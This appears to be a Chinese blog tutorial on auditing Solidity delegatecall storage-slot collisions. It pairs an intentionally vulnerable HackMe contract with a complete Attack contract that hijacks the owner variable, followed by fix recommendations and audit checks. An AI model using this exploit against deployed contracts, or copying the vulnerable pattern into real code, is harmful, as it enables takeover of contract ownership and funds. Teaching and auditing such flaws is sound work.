【区块链安全 | 第四十篇】合约审计之delegatecall(二)

发布于:2025-04-13 ⋅ 阅读:(15) ⋅ 点赞:(0)

在这里插入图片描述

在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一)

漏洞代码

存在一漏洞代码如下:

// 库合约,定义了一个公共变量和一个函数
contract Lib {
    uint public someNumber; // 存储在 slot 0

    // 用于设置 someNumber 的值
    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

// 主合约 HackMe
contract HackMe {
    address public lib;         // 存储在 slot 0,库合约地址
    address public owner;       // 存储在 slot 1,合约的拥有者
    uint public someNumber;     // 存储在 slot 2

    // 构造函数,初始化库地址和合约拥有者
    constructor(address _lib) {
        lib = _lib;             // 设置外部库地址
        owner = msg.sender;     // 设置合约拥有者
    }

    // 外部接口,调用库合约中的 doSomething 函数
    function doSomething(uint _num) public {
        // 使用 delegatecall 方式调用库函数
        // 实际执行的是 Lib.doSomething(uint256),但上下文是 HackMe 自己的存储空间
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

代码分析

正常的调用逻辑是这样的:

用户A调用 HackMe.doSomething(123),该函数内部使用 delegatecall 调用了库合约 Lib 的 doSomething(uint) 函数。虽然执行的是库合约中的代码,但由于使用的是 delegatecall,所以代码是在 HackMe 合约的上下文中执行的,也就是说修改的是 HackMe 合约自身的存储槽。

此时,Lib 中的 someNumber 存储在 slot 0,但在 HackMe 中 slot 0 存储的是 lib 地址。因此,delegatecall 执行时会将 slot 0 视为 HackMe 合约的 lib,从而错误地把 lib 的地址替换成了传入的 _num 值(类型转换为 address 时低位保留),也就是把 lib 地址改成了 address(123),这正是潜在的攻击点。

那么,我们该如何利用这个漏洞将受害者合约中的 owner 修改为我们自己的地址呢? 下面让我们一步步看看完整的攻击流程。

攻击流程

1.用户首先部署 Lib 合约;

2.随后,Hacker 部署 HackMe 合约,并在构造函数中传入 Lib 合约地址作为参数;

3.Hacker 部署恶意合约 Attack,并在构造函数中传入 HackMe 合约地址;

4.Hacker 首次调用 HackMe.doSomething(),在该调用中会通过 delegatecall 执行 Lib.doSomething(uint) 函数。原本该函数应修改 Lib 合约中的 someNumber(位于 slot 0),但由于使用的是 delegatecall,实际上会修改 HackMe 的 slot 0,即 lib 变量。因此,Hacker 可借此将 lib 替换为自己部署的 Attack 合约地址;

5.此时,由于 HackMe 合约中的 lib 地址已被替换为攻击合约 Attack 的地址,Hacker 可以自定义 Attack 合约中的 doSomething() 函数逻辑;

6.Hacker 第二次调用 HackMe.doSomething(),由于 lib 现在指向的是 Attack 合约,因此 delegatecall 实际执行的是 Attack.doSomething()。在该函数中,Hacker 可以编写恶意代码,直接修改 HackMe 合约中的 owner 变量;

7.最终,HackMe 合约的 owner 成功被篡改为 Hacker 的地址。

接下来,我们来看 Hacker 是如何编写这个恶意合约 Attack 的。

攻击代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Attack {
    // 确保存储布局与 HackMe 完全一致
    // 这样我们才能正确地修改对应的状态变量

    address public lib;        // slot 0:库合约地址
    address public owner;      // slot 1:合约拥有者地址
    uint public someNumber;    // slot 2:任意整数变量

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // 第一次调用,覆盖 HackMe 中的 lib 地址为当前合约地址
        hackMe.doSomething(uint(uint160(address(this))));
        
        // 第二次调用,传入任意参数,触发 delegatecall 执行本合约的 doSomething()
        hackMe.doSomething(1);
    }

    // 函数签名必须与 HackMe 的 doSomething(uint) 完全一致
    function doSomething(uint _num) public {
        // 将 HackMe 中的 owner 修改为 Hacker 地址
        owner = msg.sender;
    }
}

前文重现

这里将【区块链安全 | 第三十九篇】合约审计之delegatecall(一)中提到的 delegatecall 的关键特性重复一遍,加深你的记忆:

当涉及 storage 变量的修改时,变量的赋值是基于存储插槽的位置(slot)而不是变量名进行的。

举例来说:

1.在 A 合约中,address c 被存储在 slot0,而 address a 被存储在 slot1;

2.在 B 合约中,address a 被存储在 slot0,而 address c 被存储在 slot1;

3.当 B 合约通过 delegatecall 调用 A 合约的 test 函数时,该函数原本用于修改 A 合约中的变量 a,即 slot1 中的数据;

4.然而,在 delegatecall 的上下文中,slot1 实际映射的是 B 合约中的变量 c,因此最终被修改的是 B 合约中的 c,而不是预期的 a。

修复建议

通过这个例子我们同样可以清晰看到 delegatecall 带来的安全隐患 —— 如果调用的外部合约不可信或不受控,很可能造成严重的数据篡改或权限劫持问题。因此,在设计合约架构时,应注意以下两点。

1.在使用 delegatecall 时,应确保被调用合约的地址是可信且不可由外部用户控制的。推荐的做法是将目标地址硬编码(写死一个你自己部署、你知道安全的合约地址),或通过白名单机制进行管理,防止恶意地址注入。

如果目标地址是外部可控的,会发生什么?

举个例子:

fallback() external payable {
    address(_someUserInput).delegatecall(msg.data);
}

假设上面这段代码的 _someUserInput 是用户传进来的地址,此时 Hacker 可以传一个他部署的恶意合约地址进来,然后通过 delegatecall,在你的合约中执行他的恶意代码,直接改写你合约里的变量,比如 owner、余额等。

2.在复杂合约中使用 delegatecall 时,应确保调用者与被调用合约之间的存储结构保持一致。特别是变量的声明顺序和类型必须严格对应,否则容易因存储插槽错位而导致意外的数据覆盖或逻辑错误。

审计思路

1.在审计中,如发现合约使用了 delegatecall,需重点检查目标合约地址是否有被 Hacker 控制的可能。如果地址是可控的,即存在外部调用者传入的风险,应视为高危漏洞。

2.若被调用的合约中包含对 storage 变量的修改,审计者应对比其与调用方合约的变量声明顺序和存储插槽分布,确认两者结构是否一致,避免 delegatecall 引发变量误覆盖或权限篡改问题。


网站公告

今日签到

点亮在社区的每一天
去签到